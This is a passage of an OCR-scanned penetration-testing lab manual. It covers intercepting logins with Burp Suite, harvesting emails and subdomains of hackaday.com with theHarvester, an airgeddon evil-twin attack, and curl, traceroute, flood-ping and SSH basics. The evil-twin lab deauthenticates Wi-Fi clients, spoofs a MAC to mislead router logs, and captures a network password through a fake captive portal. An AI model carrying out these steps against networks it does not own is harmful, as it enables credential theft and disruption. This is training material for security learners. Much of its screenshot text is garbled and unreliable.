Yiou Can lmport a certificate and key to use in this irstallation of Burp. Mote that you can also
export she cument certificate by visiting hitpo/Munpsuitel/cert inyowr browser,
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Then, browse to a location on your Kali VM where you want to save the file.
It is important that, when you are saving the file, you save it with a .der
extension, otherwise the file won’t import correctly into Firefox.

% CA Certificate - 0 X

@ Choose a file Lo export the CA certificate.

{ home/kali/ Downloads/a.der Select file ...

Task 4:
Once this is done, open Web Browser (Firefox) in Kali and navigate to the

options. Find “proxy” in Preferences’ search box. Click on the button called
“Settings” under Network Settings.
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Then, click Manual Proxy Configuration and enter the following details:

Connection Settings

Configure Proxy Access to the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings
Manual proxy configuration
HTTP Proxy 127.0.0.1 (@ port, 8080 (@)

@ ¥ Also use this proxy for FTP and HTTPS

Cancel oK @

Task 5:



Once this is done, navigate to the Privacy & Security tab and then to the
Certificates section. This is where we will import the certificate from Burp
we saved earlier. To do this, press on “View Certificates” and click on
“Import”.

Certificates

When a server requests your personal certificate
Select one automatically
Ask you every time

Query OCSP responder servers to confirm the current validity of View Certificates...

certificates
Security Devices...

Certificate Manager

Your Certificates Authentication Decisions People Servers Authorities

You have certificates on file that identify these certificate authorities /

®

v AC Camerfirma S.A.
Chambers of Commerce Root - 2008 Builtin Object Token

Global Chambersign Root - 2008 Builtin Objec

Camerfirma Chambers of Commerce Ro.. Builtin Object Token

Camerfirma Global l:l“ar'l'lt:-t:*"a.'gl‘l Root Builtin Object Token

Import .

Navigate to the .der file that we saved earlier. Once selected, a box will pop
up asking if you would like Burp Suite to be able to intercept emails and



connections to websites. Select both options and click “Ok”.

L | Dewnloading Certificate

You have been asked to trust a new Certificate Authority (CA)

Do you want to trust “PortSwigger CA” for the following purposes?

Great, Firefox is now configured to work with burp! To test it out, open Burp
and Firefox. Ensure Intercept mode is turned ON, and search something in
Firefox. If Burp Suite is not intercepting requests, you may have to navigate
back to the proxy page. A pop-up might appear asking you to set up a
listener. Simply press enable and Burp should then work properly.

Your request should be captured in Burp Suite for you to manipulate or
examine.

Task 6:
Now, we will learn how to use Burp to intercept browser network traffic.

Once the web browser opens, navigate to the following site:

http://testasp.vulnweb.com/L.ogin.asp?RetURL=%2FDefault%2Easp%3F

Once there, go back to Burp and turn ON intercept mode. Then, enter any
username and password combination into the site and click “Login”. As you
will see, the page will remain in a loading state. This is because Burp has
now intercepted the request we sent to the server, and is holding it for us to


http://testasp.vulnweb.com/Login.asp?RetURL=%252FDefault.asp%253F

manipulate.

Usemame: (userl |

Password: @ess |

| Login |

Go back to Burp and you will find the intercepted request, along with the
username and password data that we entered. To navigate through the
different requests Burp is intercepting, simply press the “Forward” button to
send the request to the server and view the next request.

Burp Suite Community Edition v2020.12.1 - Temporary Project
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Task 7:
You can also alter any text portion of web traffic when Burb interception

mode is ON. Try to change “tfUName=admin” and “tfUPass=none” and press the
“Forward” button. Those are valid credentials for the green-colored page, and

you will be granted access to the next page.
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Lab 8. Information Gathering Using
theHarvester

Lab Objective:
Learn how to gather information on a target site using theHarvester.

Lab Purpose:

Information gathering is often the first step of any penetration test.
theHarvester is a very powerful OSINT (Open-Source Intelligence Tool) for
finding information on a target URL. It searches multiple sites for
information about the target URL and displays all the information it finds. It
is particularly useful for finding names of people and their email addresses as
well as subdomains of the target site.

Lab Tool:
Kali Linux

Lab Topology:
You can use either Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
We can use theHarvester which is bundled in Kali, but this tool is updated
frequently. We will download and use the latest version, in this lab.

To begin, boot up Kali Linux in your VM and open a terminal. Follow the
steps below:

sudo apt-get install python3-pip
sudo pip3 install virtualenv
virtualenv venv



walidal: =

File Actions Edit View Help

kali kali: ~

Fil= Actions Edit View Help

created virtual
1 CPyth

Clone the git repo:

git clone https://github.com/laramies/theHarvester.git
cd theHarvester
pip3 install -r requirements.txt

ithub.com/laramies/theHarvester.git

is: 21, done.

theHarvester <amm— @

~/theHarvester %

install reguirements. txt

Close this terminal and open a new one. Now, we are ready to use
“theHarvester.py”’ in “kali” user’s home directory. Type:


https://github.com/laramies/theHarvester.git

cd /home/kali/theHarvester/
J/theHarvester.py -v

-

~/theHarvester

Task 2:
To launch an information gathering campaign on a target, type the following:

./theHarvester.py -d hackaday.com -1 300 -b google



substring not found

Searching @ results.
substring not found

Searching 100 results.
substring not tfound

Searching 200 results.

substring not found
Searching 300 results.

N

[#*] No IPs tound.
[*] No emails found.

[*] No hosts found.

This will start theHarvester. It will begin searching Google for the top 300
results related to hackaday.com.

For this target, we could not find any information on Google. Let us dig
deeper.



Hosts found: 387

i caday .

activities.

admin.hackad

adobe-dns.hac
aibo.hackaday.com:192.8.
aibo.hackaday.com
answers.hackaday . com
answers.hackaday.com:192 .0
apl.hackaday.com
app.hackaday.com
asd.hackaday.com
autoconfig.hackaday.com
autodiscover.hackaday.com
Jwin _hackaday . com:192 _@_66_ Q6
b.hackaday . com

bbs.hackaday.com
beta.hackaday.com
blog.hackaday.com:192.0.
blog.hackaday.com

cloud.hackaday.com

Task 3:
If we want to gather even more information about our target, we can specify

the following:



/theHarvester.py -d hackaday.com \
-1300 -b all

The “-b all” tag will search all search engines available to theHarvester for
information regarding hackaday.com. As you can see, it is an extremely
useful tool for discovering email addresses, names of people associated with
the target, sub-domain names and IP addresses.
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Task 4:
If we wanted to display this information in an easier to read format, we could

add the -f tag at the end:

/theHarvester.py -d hackaday.com -1 300 -b all -f hackaday.com.results



This will save the information gathered in a HTML file called
“hackaday.com.results.html” When this file is opened, it provides the information
gathered in a layout which is much easier to read.

theHarvester Scan Report
Overall statistics

Dol ns Hosts IP Addresses Vhosts Shodan

F 9266 ‘ 611 ‘ 0 ‘ & ‘ 0

atest scan - number of targets identified for hackaday.com

shodan whost

Tarpets



Lab 9. Evil Twin Attack with
Airgeddon

Lab Objective:
Learn how to use airgeddon to create an evil twin and capture login
credentials.

Lab Purpose:

Airgeddon is a Wi-Fi auditing script. It is very useful, and employs a lot of
tools in the one script. This means that the script will launch the tools for us
using our given settings, as opposed to us having to manually set up each of
the tools separately.

Lab Tool:
Kali Linux, an external wireless card

Lab Topology:
You can use either Kali Linux in a VM for this lab.

Note: to perform this lab, you will also need an external wireless card which
can be connected to your VM through USB. This wireless card should also be
put into “monitor mode”, which allows it to monitor all traffic on a Wi-Fi
network.

There are numerous Wi-Fi adapters in the market that support Wi-Fi hacking.
In this page, you can find some of them:
https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-

hacking-in-2019/



https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-hacking-in-2019/

Wireless Adapters for Hacking

For beginners, the guide will essentially center on Kali Linux and a round-up on a few adapters o

tnere incliLding
y found in the Ceos3c Amazon Store (amaongst mar y other Hacking Goodies!) 1
MEH Long Range (My new favorite as of Mai 20201)
2N 2.4GHz (V1) (Make sure you grab Vil)

Lab Walkthrough:

Task 1:
The first step is to open Kali Linux in your VM and then open a terminal.
This is the Github page for the airgeddon script:

https://github.com/v1s1tOrlsh3r3/airgeddon

To download the script for your Kali machine, simply type the following:

sudo git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git

A prompt may pop up, telling you that x amount of space will be used to
download the script. Simply type “y” and the script will download.

Once the script is downloaded, type “Is” into the terminal. You should see a
file called “airgeddon”. Type “cd airgeddon” to change the directory to this file.
Type “Is” again and you should see a file called “airgeddon.sh”. Type
“./airgeddon.sh” to run the script.

Task 2:
The script will run a number of checks to determine if you have the correct
tools installed. Simply follow the on-screen prompts. It will also give you the


https://github.com/v1s1t0r1sh3r3/airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon.git

option to install any tools which you are missing. You should press “y” when
given this option to get the full capacity of airgeddon’s tools.

Accepted bash version (5.1.8(1)-release). Minimum requi

Root permissions successful

1928x1080

Kali Linux

Press [Enter] key to continue...|]

The next screen will ask you to choose which interface you want to use with
the tool. It is important you choose your wireless card and not your
machine’s connection here. My wireless card is called “wlan0” on this
screen.

Once at the main menu, the first step is to place our card into monitor mode
by pressing option 2.

Press [Enter] key to continue...}




Task 3:
With the initial setup behind us, we can now begin the attack. Choose option
7 for Evil Twin attacks menu.

an option from menu:

Return to main menu

Select another network interface

Put interface in monitor mode

Put interface in managed mode

Explore for targets (monitor mode needed)

Evil Twin attack just AP

Evil Twin AP attack with sniffing

Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeER

Evil Twin AP attack with captive portal (monitor mode needed)

For this lab, we will be creating a captive portal, to capture the Wi-Fi
password of our chosen network. Choose option 9.



Select an option from menu:

Return to main menu

Select another network interface

Put interface in monitor mode

Put interface in managed mode

Explore for targets (monitor mode needed)

Evil Twin attack just AP

Evil Twin AP attack with sniffing

Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeER

Evil Twin AP attack with captive portal (monitor mode needed)

Airgeddon will then conduct an exploration for any nearby Wi-Fi network. A
new window will pop up. Let this run for about a minute. When you have
found your target Wi-Fi network, press ctrl + c to end the discovery.

Elapsed:; 18 s ][ 2021-01-11 12:34
N #lata,. #/s CH HWE ENC CIPHER AUTH ESSID

270 WPAZ2 CCHP 'S5k <length: 0>
270 J - '|r—|'|9f_h S 1 )
130
195
195

=

b = O L0 LD

[

Lost Frames MNotes Probes

You will then be presented with a screen which displays all discovered Wi-Fi



networks. Choose your network by typing the number beside it into the
terminal and press enter.

s
ESSID

CoyTAC T T

elras /gLl

eir WiFi
eir WiFi

(Hidden Network)
(Hidden Network)
HUAWE ]

SKYBEC31

Task 4:

The next screen will ask you how you want to de-authenticate people from
the network. We will be choosing option 1. I did not enable DoS pursuit
mode, as the card I am using does not support it.

DM men:

8. Return to Evil Twin attacks menu

Deauth / disassoc amok mdkd4 attack
Deauth aireplay attack
WIDS / WIPS / WDS Confusion attack

Do spoof your MAC address on the next screen as this is good practice. This
will provide a fake MAC address in the router logs.



Press [Enter] key to continue...[]

We do not have a captured handshake file, so choose the “no” option when
asked for this. Press enter when asked to provide a value for timeout to accept
the default value of 20. Press enter again and airgeddon will begin kicking
hosts from the target Wi-Fi network in order to obtain a handshake.

If successful, the handshake will be captured and saved in a default location.

Task 5:
Press enter a few times on the next few prompts to accept the default settings.



Jroot/handshake-5S

[Enter] key to continue...

9

HUAWETY

[froot/evil twin captive portal password-HUAWEI

Press [Enter] key to continue...[}

The next screen will then ask you what language you want the captive portal
to be in. Choose option 1 for English. Press enter again and the attack will
begin.

Return to Evil Twin attacks menu

English
spanish
French
Catalan
Portuguese
Russlan
Greek
Itt"-llj.ﬂf'l
Polish
, e rman
. Turkish
. Arabic

4.
-
.

-~

NS -

A number of popups will open on your screen, it is important you do not
close any of them and let the script do its work.



All parameters and requirements are set. The attack 1s going to start. M

.

d the script will automatically close them all
Press [Enter] key to continue...}}

Task 6:

Now, get another device which is connected to the same network and attempt
to connect to the internet. You will notice that you will be unable to do so. If
you look for Wi-Fi networks, you may also see two networks with the same
name, one with security and one without. Our evil twin is the network with
no security. Connect to this network, if your device didn’t automatically do
so, and attempt to connect to the internet. You will be presented with a screen
asking for your Wi-Fi password in order to gain internet access. Enter your
password and return to the script. You will see that the script would have
captured the password you entered in plain text. Press enter on the terminal
screen to end the attack.

Evil Twin AP Info // 9 3 ! HURE |

Online time

A ot a (F
(0202203

frootlevil _twin_captive_portal _password-HUAWE

Press [Enter] on the main script window to continue, this window will be closed




Lab 10. Using Curl

Lab Objective:
Learn how to use Curl for manual information gathering.

Lab Purpose:
Curl stands for Client URL. It is a command line tool for getting and sending
data including files using URL syntax.

Lab Tool:
Kali Linux

Lab Topology:
We will use Kali Linux for this lab.

Lab Walkthrough:

Task 1:
The general syntax for using curl is the following:

Curl [options] URL

This is a basic syntax that makes the tool quite simple to use. To get some
more information on curl and how it is used, type curl --help to display the
information screen.

Curl can be installed on Linux using the following command:

sudo apt-get install curl

Task 2:
The first task we will perform is getting the source code of a site. The first



step is to boot your virtual machine and get Kali Linux up and running. Once
this is complete, open a terminal and type the following:

curl https://example.com

i

f/example.com K

<html>
<head>

<title>Example Domain</title>

i AY1A BB
background-color: #fofaf2;
margin: @;
padding
font-f : -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI",

a, Arial

i
"

1
J

To save this output to a file, we will use either the “-0” or “-O” option. The
lowercase option saves the file with a predefined filename, while the
uppercase option saves the file with its original filename. Basically, the
lowercase option allows us to specify a file name. This is a useful option if
the webpage we are trying to inspect is preventing us from right clicking on
the page to view the source code in the browser. Type the following to save
your output:

curl -o output.txt https://example.com

putput.txt https://example.com
% Total % Recelived % Xferd A age Speed Time Time Time Current

Dload Upload Total spent Left Speed
100 1256 1006 1256 4] ] 1891 B —=l=la a=fa=l== = 188

We can see some brief statistic data on this output.


https://example.com/
https://example.com/

Task 3:

Curl also provides you with the ability to download multiple files at once. To
do this, use multiple -O options, followed by the URL of the file you want to
download. For example:

curl -O https://arxiv.org/ftp/arxiv/papers/1610/1610.05971.pdf -O \
https://arxiv.org/pdf/2103.08624.pdf

https:

Time Current
Left 5
ved % Xferd | e 5 Time Cu
g P Sp
100 4812k 109 4812k 4 i v

If your connection drops while downloading a file, you can resume the
download with the “-c-“ option. This is an especially useful feature when
downloading large sized files, ex DVD ISO files, or MP4 video files. This
way, if your connection drops when downloading a file, you can resume the
download instead of starting from scratch, using, for example:

curl -C- -O https://arxiv.org/pdf/2103.08624.pdf
Time Time Time Current

Total Spent Left
:90:19 0:@9:07 9:00:12

https:
** Resuming transf Fr
% Total % Recelved % Xferd Average Speed ul: me Time Current
Dload Upload | Spen Left Speed
1808 2764k 100 2764k i 207k ' '@@:13 9:00:13 —;:=—;— 142k

Task 4:
Curl can also be useful for downloading HTTP headers, which is useful when

testing a site. To do this, use the following command:



curl -T https://example.com

https://example.com
HTTP/2 200
content-encoding: gzip <—=
accept-ranges: bytes
age: 189/89
cache-control: max-age=604800

content-type: text/html; charset=UTF :E;c::.'=-

date: Wed, 17 Mar 2021 22:20:05 GMT

etag: "3147526947+gzip”
expires: Wed, 24 Mar 2021 22:20:05 GMT
last-modified: Thu, 17 Oct 2019 07:18:26 GMT

server: ECS (dcbhb/7ECEB)
x-cache: HIT ‘:::%

content-length: 648

This will display many useful pieces of information, such as server info,
content type, and content encoding.

Task 5:

When attempting to download a file or gather other information using curl,
you may discover that the target site may be designed to block curl. In this
case, it is useful to emulate a browser, such as Firefox, to return the
information you are looking for. To do this, use the following command:

curl -A “Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0” \
https://ifconfig.me



In this example, remote site https://ifconfig.me answers with different
messages according to clients’ user-agent strings.

Task 6:

Another important feature of curl is its ability to transfer files. This is useful
when interacting with servers through the command line, particularly if you
are trying to take advantage of potential vulnerabilities. To access a protected
FTP server, use the -u option to specify the username and password:

curl -u “username:pwd” “ftp://mirrors.sonic.net/knoppix/live.iso”

To upload a file to the server, we can use the -T option:

curl -T file.zip -u “username:password” ftp://mirrors.sonic.net/

Task 7:

Normally, curl denies connection to sites which have invalid SSL certificates.
To connect without blocking and getting a warning message, we can use the
“—k” option, for example:

curl -k http://192.168.1.1/



ftp://mirrors.sonic.net/
http://192.168.1.1/

e

— 192.1 B | 6o
curl: (6@ ertific problem: self signed certificate in certificate chain
More details e: https://curl.se/docs/sslcerts.html }R#

P . . _ -\
curl failed to verify the legitimacy of the zn;-r"fc-j, Asn¥fefore could not
establish a secure connection to it. To le: ¥ Joout this situation and

{ > \
how to fix it, please visit the web page menPloned above.

<!DOCTYPE ht

¢ —[if 1t IE

¢! [if IE 7

¢#—[if IE 8 .

¢—[if IE 9 L lang="e ; '[endif]

tel—[if (gt IE 9)|I(IE)]>¢l—><html lang="en">tl—<![endif]—

<head>

Task 8:
Curl can also be configured to use a proxy. To do this, use the -x option
followed by the proxy URL. For example:

curl -x 192.168.0.1:8080 http://example.com/

Task 9:
Curl can also be used for sending HTTP POST data to FORM pages.

In this example, we are sending two parameters, “tfUName” and “tfUPass”,
with attached values to “http://testasp.vulnweb.com/Login.asp”.



http://example.com/

Lab 11. Using Traceroute in Linux

Lab Objective:
Learn how to use Traceroute in Linux to trace the route to a host.

Lab Purpose:

Traceroute is used to trace the route to a host. This is useful for finding out if
the host is up, where the host is located, and how many hops the server is
away from you.

Lab Tool:
Kali Linux

Lab Topology:
We will use Kali Linux for this lab.

Lab Walkthrough:

Task 1:
To install traceroute on Kali Linux, simply open a terminal and type the
following:

sudo apt-get install traceroute

In this lab, we will demonstrate how this tool works by using Kali Linux.
Begin by opening a terminal window. It is important to note that we can use
“traceroute” for any host as it is considered public knowledge. Therefore, we
can use any site as our target site for this lab without being “root” user.

We will begin by targeting a big site such as “facebook.com”. Type the
following:

traceroute facebook.com



©

35), 3@ hops max, 6@ byte packets
0.494 ms @.750 ms

Z 195.87. 8.38 195.87.12 G.068 ms &4.428 ms 4.530 ms

ae2-xcrl.ise.cw.net (195.2.18.213) 15.610 ms 15.348 ms

4
B ae4-17-ucrl.tuz.cw.net (195.2.23.129) 13.549 ms +

L 0

15.137 ms *

1. The very first line after the traceroute shows Hostname and IP
address, which it has obtained by using the reverse DNS look up.

2. 30 hops means that traceroute will only route the first 30 routes
between your system and the victim’s system. 30 is often too
much; it usually ends in 3 to 15 hops, though it can sometime go
deeper depending on the site’s security and lack of response.

3. This is the first router; possibly our AP, modem, router, etc.

These are the IP address ranges for private IP’s:

10.0.0.0 — 10.255.255.255,
172.16.0.0 — 172.31.255.255,
192.168.0.0 — 192.168.255.255,
224.0.0.0 — 239.255.255.255

4. These three columns display the round trip time(s) for our
packet to reach that point and return to our computer. This is
listed in milliseconds. There are three columns because the
traceroute sends three separate signal packets. This is for display
consistency—or a lack thereof—in the route.



5. This is the first column and is simply the number of the hop
along the route.

6. This means that the target system could not be reached.
Requests timed out. More accurately, it means that the packets
could not make it there and back; they may actually be reaching
the target system but encountering problems on the return trip.
This is possibly due to some kind of error, but it may also be an
intentional block due to a firewall or other security measures, and
the block may affect tracing the route but not actual server
connections.

7. It shows our last destination, which has the same IP address as
the first line.

This is extremely useful for finding a whole range of information, all
of which will be displayed during the trace. We can also see that the
host is two hops away from us, and the IP addresses of each of the
servers our request had went through to reach our target.

Task 2:
Traceroute is also useful for determining if a host is up. For example, try
targeting the following host:

traceroute eheheueueu.com

eheheueueu.c c:-rr.f::ﬁsp. :

eheheueueu.com: Name or vice not kKnown
Cannot handle "host” cmdline arg eheheueueu.com' on position 1 (argc 1)

We can see that this hostname doesn’t exist through traceroute.

We can also see if the hostname exists but is down. It is possible to
understand this if we take the following response:



10.135.53.154 (10.135.53.154) 4.695 ms

*

*

#

*

10.135.53.89 (10.135.53.89)

10.135.54.66 (10.135.54.66)

W

&

b

-

W
%*
=
b
-
#*
-
#
#*

<= NoO such response!




Lab 12. Ping and Its Various Uses

Lab Objective:
Learn how to use ping and its different parameters.

Lab Purpose:

Ping is a simple and useful network-based utility which can be used to
identify if a host is alive or dead. Technically, we can call it an echo reply.
By “alive”, I mean that the host is active, and by “dead”, that the host is in
shutdown mode. Anything which has a network card can be a host:
computers, servers, switches, websites, smartphones, IOT devices, etc.

It is often useful when setting up some new infrastructure to use ping to test if
your infrastructure can correctly reach the network.

Lab Tool:
Kali Linux or Windows

Lab Topology:
You can use Kali Linux for this lab.

Lab Walkthrough:

Task 1:

Ping works on both Kali linux and Windows. For this lab, we will be
demonstrating ping on Kali Linux VM machine. To begin, open a terminal
window. Then, type the following:

ping google.com



The ping command will continue to send ICMP packages to the destinated IP
address until it receives an interruption. To stop the command, just hit the
Ctrl + C key combination.

As you will see, a number of lines of information will appear on our screen.
This shows the packets being sent from our machine to google.com, as well
as the response being received. We sent out 7 packets and received 7 packets
back, indicating that google.com is up and responding to requests.

1. The hostname we are pinging. Use “-n” with this command if
you want to avoid any reverse DNS lookups. For example: “ping
google.com -n”

2. The IP address of the target host.

3. The reverse DNS name of target IP address. It’s different from
the original hostname, right? This happens when one hostname
has many IP addresses and each IP address has only one DNS
name.

4. The number of data bytes. The default is 56, which translates
into 64 ICMP data bytes.

5. The ICMP sequence numbers for each packet.

6. TTL: The Time to Live values.

7. The ping time, measured in milliseconds which is the round
trip time for the packet to reach the host, and the response to
return to the sender. Greater values indicate possible network
problems or target’s load.

8. Once the command stops, it displays a statistic including the



percentage of packet loss. The packet loss means that the data
was dropped somewhere in the network, indicating an issue
within the network or target’s performance. If there is a packet
loss, you can use the traceroute command to identify where the
packet loss occurs.

9. RTT (Round-trip time) metrics of those ping packages. RTT is
the duration in milliseconds it takes for a network request to go
from a starting point to a target and back again to the starting
point.

Task 2:
We can set the packet size using the following commands:

ping -s 100 localhost
ping -s 100 google.com

100 localhost Cf:‘-:"_:? @
PING localhost(localhost (::1)) 100 data bytes
188 bytes from localhost (::1): icmp_seqg=1 ttl=64 time=0.033 ms
188 bytes from localhost (::1): icmp seg=2 ttl=64 time=0.07&
108 bytes from localhost (::1): icmp_seq=3 ttl=64 time=9.068 ms

localhost ping statistics ——
3 packets transmitted, 3 received, 0% packet loss, time 2

minfavg/max/mdev = 0.033/0.058/0.074/0.018 ms

bytes of data.
i ¢

google.com ping statistics

5 packets transmitted, © 100% packet loss, time 4018ms

Some targets respond to ping packets as expected (1), some of them just drop

).

This is useful when testing a system to see how it will respond differently to
very small or very large packets. The default packet size of ping is 56.



Task 3:

As aforementioned, by default, ping will continue to send packages until it
receives an interrupt signal. To specify the number of echo request packages
to be sent after pings exit, use the -c option followed by the number of
packages:

ping -c 5 cisco.com

times=
time=

T1me
=5 ttl=241 time=156

Task 4:

When you run the ping command, it will use either IPv4 or IPv6, depending
on your machine’s DNS settings. To force ping to use IPv4, pass the -4
option, or use its alias: ping4. To force ping to use IPv6, pass the -6 option, or
use its alias: ping6;

ping -4 localhost
ping -6 localhost

To send 5 packets which “will not fragment the flag (IPv4 only)” pass «-M
dont” option with the following command:

ping -M dont localhost -4 -c¢ 5



- dont F

PING (127.0.0.1) 56( bytes of data.

64 bytes trom localhost (127.0.08.1): np_ < L=64 time=0.021 ms
64 by from localh (127.8.8.1): cmp_seq=.2 =64 e=0.044 ms
64 bytes from local t (127.0.0.1): p_seq=3 ttl=6 050

by e from localhos [127.0. .1:': 1Cm _5¢ b tt] = time=0.042 ms
bytes from localhost (127.0.0.1): icmp_seq=5 ttl=64 time=0.044 ms

--—- ping statistics
5 packets transmitted, 5 received, 8% packet loss, time 4159ms
rtt min/ave/max/mdev = 0.021/0.040/0.050/0.010 ms

Task 5:

In some cases, it may be necessary to wait a certain amount of time between
sending each packet. The default is to wait about one second between each
packet, or not to wait in flood mode. Unpriviledged users may set an interval
to 0.2 seconds and above.

Send 20 ping packages within 0.2 ms interval to target system:

ping -4n -c20 127.0.0.1 -1 0.2

| @.2

) 56(84) bytes of data.
ttl=64 time=0.024 ms
ttlebs time=@.042
ttl=64 time=0.044 ms

|
=t 3

PING 127.0.0.
64 bytes from
64 bytes
b4 bytes
64 bytes ttl=64 time=¢
b4 bytes om 1 1Cmp_ 19 ttl=64

L F
bytes from 127.

n " 1 " " v "
et e ek e i ek
e wn awl[f ve w8 as @ .

icmp_seq=20 ttl=64 time=0.045 ms

127.8.08.1 plng STatlstlcCcs
20 packets transmitted, 20 received, 0% packet loss, time
rtt min/avg/max/mdev 0.024/8.060,/0.243/0.048 ms

Task 6:
In flood ping; for every ECHO REQUEST sent a period ’.”’ is printed, while
for every ECHO REPLY received, the last printed period “.” is removed.



This provides a rapid display of how many packets are being dropped. If
interval is not given, it sets interval to zero and outputs packets as fast as they
come back or one hundred times per second, whichever is more. Only the
super-user may use this option with a zero interval.

As a root user, flood target system with sending 30 ping packages. Choose
your local router or Access Point as target system. Run this command:

ping -4n -c30 192.168.1.1 -f
ping -4n -c30 192.168.1.1 -f -i 0.050

@ -~
192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) byt

192.168.1.1 ping statistics

rtt min/ave

©)

192.168.1.1 9.050
PING 192.168.1.1 (192.168.1.1) 56(84) bytes

38.1.1 ping statistics —
transmitted, 21 received, 30% packet loss, time 1619ms

rtt minfavg/max/mdev = 0.450/0.581/0.921/90.091 ms, ipg/ewma 55.841/0.612 ms

In this flood test, packet loss is 73% in test number (1), while in test number
(2), when the packet is sent with 50 ms delay, the loss is around 30%.

This feature can be used to slow down the target system’s network or to
measure end-to-end network performance. It can also be used to create
artificial loads. For this reason, it is necessary to be careful when using it on
systems in production.



Lab 13. How to SSH into a Server
from a Windows Machine Using
PulTTY

Lab Objective:
Learn how to use PuTTY to SSH into a server from a Windows machine.

Lab Purpose:

PuTTY is an open-source terminal emulator which supports several network
protocols. It is also free and can be downloaded for Windows from the
following link: https://www.putty.org/

Lab Tool:
Windows

Lab Topology:

You can use a Windows machine for this lab. In this lab, we need another
SSH-enabled machine to make connections through. You can find a prebuilt
Ubuntu Server image on https://www.osboxes.org/ubuntu-server/ for this
purpose.



https://www.putty.org/
https://www.osboxes.org/ubuntu-server/

Ubuntu Server 20.04 Focal Fossa

|

¢ VirtualBox (VD) 64bit
SHAZS56: focf779aac525c192071d4bd67bE24092a87 2dF2503b93¢2 25a066F 20F78d:
i ’

Download and import it to your virtualization platform and run.

Lab Walkthrough:

Task 1:

SSH stands for Secure Shell and it is used to connect to machines securly
over the internet. For this lab, we will be using PuTTY to connect to a server
using a Windows machine. Connecting to a server using a Linux machine
will be covered in a different lab.

The first step is to download PuTTY from the following link:
https://www.putty.org/. Click through the installer, and once it is finished,
open the application. Once open, you will be met with the following screen:


https://www.putty.org/

&2 puTTY Configuration 7 X

Calegory:
Session Basic options for your PuTTY session
Logging
Terminal Speacify the destnation you want to connact io
Keyboard Host Mame (o IP address) Pout
Feat
Win ;jﬂurﬂ Connection type
3 Ra () Ieinet (O Rlogin @SSH () Segal
Appearance O Ray JI (ORlogin @$ (O Sen
Behaviour Load, save or delele a stored session
Translation ]
I Selection Savgd Sessions
Colours
Connecton -
Default Sefings
Data 4 Load
p:w:l;l;:'-
Talnet Saye
Rlagan
|
1 SSH Delste
Senal
Close window on ezit
() Aways () Never (@) Only on clean exit
About Help |  Open | Cancel

This is where we will connect to our server through SSH.

Task 2:

We can see under the Host Name input box that PuTTY supports a number of
different protocols, such as Telnet, which is the unsecure version of SSH. We
have selected SSH and are thus ready to specify the server information, such
as IP and port, to get connected.

Simply enter the IP address or hostname; for example, type the Ubuntu VM’s
IP you just created and the port which you want to connect on. For SSH, this
is port 22. It is good practice to then go to saved sessions and enter a name
for the connection and press save, so that you don’t have to enter the
information again next time. Once this is done, click open on the bottom right
corner.



B PuTTV Configuration ? *

L)

= Sesson | Basic options for your PUTTY sesson
L Tm'—“:il"'ﬂ Q) .. | Spectythe destination you want to connect to
L iakea \I-huﬂmuh*w-ddmh Part
- Bel 192.168.1.25 |22 |
Features Connection type:
= Window ORaw () Tenet () Rlogn @55{: (O Sersl
waim Lead, save or delete a stored session = @
Traralation Saved Sessons
[ Selection |Lhmm2tl.-lw _'!-IE-‘&_'Q)
Colours I
b | Defauit | Load
Data
Prowy
Tenet
Rlogn

& 35H
Sl

Task 3:

When connecting, a window will pop up with a warning. It will warn you that
you have not connected to this server before and that you should only connect
to servers you trust. Click yes and continue.



PuTTY Security Alert X

The servers host key is not cached in the registry. You
have no guarantee that the server is the computer you
think it is.

The server's ssh-ed25519 key fingerprint is:
ssh-ed25519 255

U116 TE1a:3%00:06:52: 21:d1:fe: of: 30 2280 26

if you trust this host, hit Yes to add the key to

PuTTY s cache and carry on connecting.

If you want to carry on connecting just onde, without
adding the key to the cache, hit No.

If you do not trust this host, hit Cancel to abandon the

\\ connection.

”Hn 1 | Eanul | B He-lup

You will then be asked for login information to continue. Once this is entered
you will have access to the server and its different file directories.



P osboxes@osboxes: ~ = O *




L.ab 14. How to SSH into a Server
from a Linux Machine

Lab Objective:
Learn how to access a server from a Linux machine using SSH.

Lab Purpose:

Linux comes built in with the ability to connect directly to a server through
SSH without the need to download any applications. SSH stands for Secure
Shell and it is a secure method of connecting to devices over the internet.

Lab Tool:
Kali Linux

Lab Topology:

You can use a Kali Linux VM for this lab. In this lab, we need another SSH-
enabled machine to make connections through. You can find a prebuilt
Ubuntu Server 20.04 image on https://www.osboxes.org/ubuntu-server/ for
this purpose.

Ubuntu Server 20.04 Focal Fossa

[77]

JirtualBox (VDI) 64b ':@53*.15
SHAZ2S56: Focf7702ac525c192871d4bd67bE24092a87 2d¥ 25030932 25a906F 2bF78d.
]



https://www.osboxes.org/ubuntu-server/

Download and import it to your virtualization platform and run.

Lab Walkthrough:

Task 1:

Linux has the ability to connect to a device over the internet through SSH,
without the need to download external applications. This functionality is not
the same for Windows, and this was covered in the previous lab. To begin,
open a terminal.

Connecting to a server via SSH is very easy in Linux. All you have to do is
type the following into the terminal:

ssh osboxes@192.168.1.25

This will then ask you if you trust the server as your machine would have
never connected to it before. Simply type “yes” to move on.

/home (:)
osboxesd192.168.1.25&G=""

The authenticity of host '192.168.1.25 (192.168.1.25)' can't be established.
ECDSA key fingerprint is SHA256:gTCDYgbsUNGHwrFRV1XuiFa+PpQ+nE2uoD@QgMGmSWE .
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.25" (ECDSA) to the list of known hosts.
osboxes@192.168.1.25"'s password:

Welcome to Ubuntu 20.04 LTS (GNU/L1hux 5.4.0-28-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

osboxesgosboxes:~$% 'ii:) @

1. All connection information in a single line, except password.
2. The password is entered invisibly. In this example, the
password for the “osboxes” user is preset as “osboxes”.

3. The remote connection is established and dropped on the
terminal line.



SSH is really handy for controling remote servers and devices across the
internet. It provides you with the ability to remotely login to any device to
manage it at any time.

Task 2:
Change the remote server’s certificate and see what happens.

